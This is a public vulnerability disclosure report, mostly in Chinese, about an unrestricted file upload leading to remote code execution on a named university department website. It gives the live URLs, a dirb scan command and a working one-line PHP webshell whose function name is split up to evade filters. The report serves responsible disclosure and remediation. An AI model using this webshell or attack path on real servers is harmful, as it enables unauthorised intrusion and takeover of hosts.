Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00433
- Vendor: 國立彰化師範大學
- Title: 國立彰化師範大學資工系 任意檔案上傳+遠端程式碼執行(RCE)
- Introduction: Unrestricted File Upload to RCE
處理狀態
目前狀態
公開
Last Update : 2022/09/07
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/07/08 04:08:37 : 新提交 (由 vincent66 更新此狀態)
- 2022/07/10 19:17:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/11 17:25:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/11 17:25:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/11 17:25:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/07 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00433
- 通報者:vincent66 (vincent66)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.csie.ncue.edu.tw/csie/work/
敘述
-
使用Dirb掃描網站目錄,發現「work」路徑。
語法:dirb https://www.csie.ncue.edu.tw/csie/ -
瀏覽網頁,點選「管理頁面」。
網址:https://www.csie.ncue.edu.tw/csie/work/ -
隨意選擇一項,點選「修改」,並上傳檔案「shell.PHP」,此行為不需任何權限。
-
shell.PHP為webshell,內容如下。
<?php ('sy'.'stem')($_GET['c'.'m'.'d']); ?> -
回到「檔案列表」,確認上傳成功。
-
執行webshell,成功觸發RCE。
查看Kernel資訊:
查看硬碟使用情形:
-
為避免汙染環境,已將webshell (shell.PHP) 刪除!
修補建議
路徑「work」看起來為已不使用頁面,若不使用建議撤除。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。